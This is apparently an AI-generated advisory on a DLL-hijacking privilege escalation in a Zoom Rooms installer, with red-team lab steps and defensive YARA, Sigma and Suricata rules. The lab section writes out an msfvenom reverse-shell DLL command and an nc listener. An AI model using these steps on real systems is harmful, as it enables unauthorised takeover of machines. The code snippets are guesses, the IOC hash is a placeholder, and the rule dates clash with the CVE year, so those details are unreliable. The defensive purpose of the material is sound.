CVE-2026-30906

Executive Summary

CVE-2026-30906 is a local privilege escalation vulnerability in the installer for Zoom Rooms for Windows, affecting versions prior to 7.0.0. The vulnerability stems from an untrusted search path (CWE-426), where the installer loads a DLL or executable from a directory that can be controlled by an authenticated user. This allows an attacker with local access to place a malicious payload in a location searched before the legitimate system path, leading to arbitrary code execution in the context of the installer (typically SYSTEM). The CVSS score is 7.8 (High), and while no public proof-of-concept or exploit code is currently available, the attack vector is well-understood and poses a significant risk in shared or enterprise environments.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary Windows application installer. The risk is primarily to the software supply chain of the organization deploying Zoom Rooms, as a compromised installer could lead to persistent backdoors.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions are required beyond standard user access.
• Privileges Required (PR): Low (L) – The attacker needs only standard user privileges.
• User Interaction (UI): None (N) – No user interaction is required beyond the attacker's own actions.
• Scope (S): Unchanged (U) – The vulnerability does not cross a trust boundary.
• Confidentiality (C): High (H) – Full system compromise allows access to all data.
• Integrity (I): High (H) – The attacker can modify system files and configurations.
• Availability (A): High (H) – The attacker can disrupt system operations.

Threat Level: High. The low complexity and low privileges required make this an attractive target for lateral movement and privilege escalation in enterprise environments.

Deep Dive & Mechanics

The vulnerability is a classic untrusted search path (DLL hijacking) in the Zoom Rooms installer. When the installer runs, it searches for required DLLs or executables in a specific order. If the current working directory or a user-writable path is searched before system directories, an attacker can place a malicious DLL with the same name as a legitimate one. The installer then loads the attacker's DLL, executing arbitrary code with the installer's privileges (typically SYSTEM).

Attack Flow:

1. An authenticated user gains local access to a Windows system (e.g., via RDP, physical access, or as a standard domain user).
2. The user identifies a writable directory that is in the search path of the Zoom Rooms installer (e.g., C:\Users\<username>\AppData\Local\Temp or the installer's own directory).
3. The user places a malicious DLL (e.g., version.dll, dbghelp.dll, or winhttp.dll) in that directory.
4. The user triggers the Zoom Rooms installer (e.g., by running it from a network share or local copy).
5. The installer loads the malicious DLL, executing the attacker's code with SYSTEM privileges.
6. The attacker can then install a backdoor, create a new admin account, or exfiltrate data.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-7.0.0): The installer likely uses LoadLibrary or CreateProcess without specifying a full path, relying on the system's DLL search order. For example:

// Vulnerable: Loads library from current directory first
HMODULE hMod = LoadLibrary(L"helper.dll");

Patched Code (7.0.0+): The patched version uses absolute paths or calls SetDllDirectory to remove the current directory from the search path. For example:

// Patched: Uses absolute path
HMODULE hMod = LoadLibrary(L"C:\\Program Files\\Zoom Rooms\\helper.dll");
// Or removes current directory from search
SetDllDirectory(L"");

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Windows VM with Zoom Rooms < 7.0.0 installed.
• Local user account (non-admin).
• Knowledge of a writable directory in the installer's search path.

Steps:

1. Identify writable directory: Use Process Monitor (Procmon) to filter for CreateFile operations by the installer process and look for NAME NOT FOUND results in user-writable paths.
2. Craft malicious DLL: Create a DLL that executes a reverse shell or adds a user. Example using msfvenom:

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o malicious.dll
   

3. Place DLL: Copy the malicious DLL to the identified writable directory with the name of a missing DLL (e.g., version.dll).
4. Trigger installer: Run the Zoom Rooms installer from a location that will cause it to search the writable directory first.
5. Receive shell: Listen on your attacker machine:

   nc -lvnp 4444
   

Blue Team (Defender)

Detection Steps:

1. Monitor for DLL load events: Use Sysmon Event ID 7 (DLL loaded) to detect unexpected DLLs loaded by the Zoom Rooms installer.
2. Check for writable directories: Audit the installer's search path for user-writable directories.
3. Review installer logs: Check Windows Installer logs (%temp%\MSI*.log) for errors or unusual file accesses.
4. Harden environment: Remove write permissions from directories in the installer's search path.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): (Placeholder – replace with actual hashes if discovered)
  • malicious.dll: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Anomalies:
  • ZoomInstaller.exe loading DLLs from %TEMP% or %USERPROFILE%.
• Registry Changes:
  • New entries under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run for persistence.
• Network Connections:
  • Outbound connections from ZoomInstaller.exe to unusual IPs (e.g., attacker C2).

Detection Engineering

YARA Rule

rule CVE_2026_30906_DLL_Hijack {
    meta:
        description = "Detects malicious DLLs targeting Zoom Rooms installer untrusted search path"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-30906"
    strings:
        $s1 = "ZoomInstaller.exe" nocase
        $s2 = "version.dll" nocase
        $s3 = "dbghelp.dll" nocase
        $s4 = "winhttp.dll" nocase
    condition:
        (uint16(0) == 0x5A4D) and (any of ($s*))
}

Sigma Rule

title: Zoom Rooms Installer DLL Hijack Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects suspicious DLL loads by ZoomInstaller.exe from user-writable directories
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 7
        Image|endswith: '\ZoomInstaller.exe'
        ImageLoaded|contains:
            - '\AppData\Local\Temp\'
            - '\Users\'
    condition: selection
falsepositives:
    - Legitimate DLLs in user directories (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2026-30906 - Zoom Rooms Installer Potential C2"; flow:to_server,established; content:"ZoomInstaller"; http_user_agent; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Zoom Rooms for Windows to version 7.0.0 or later.
2. Restrict write access: Remove write permissions from directories in the installer's search path for standard users.
3. Monitor: Enable Sysmon logging for DLL load events (Event ID 7) and alert on anomalies.

Long-term Measures:

• Implement application whitelisting (e.g., AppLocker) to prevent unauthorized DLLs.
• Use Group Policy to enforce SetDllDirectory("") for all applications.
• Conduct regular security audits of installer behavior.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.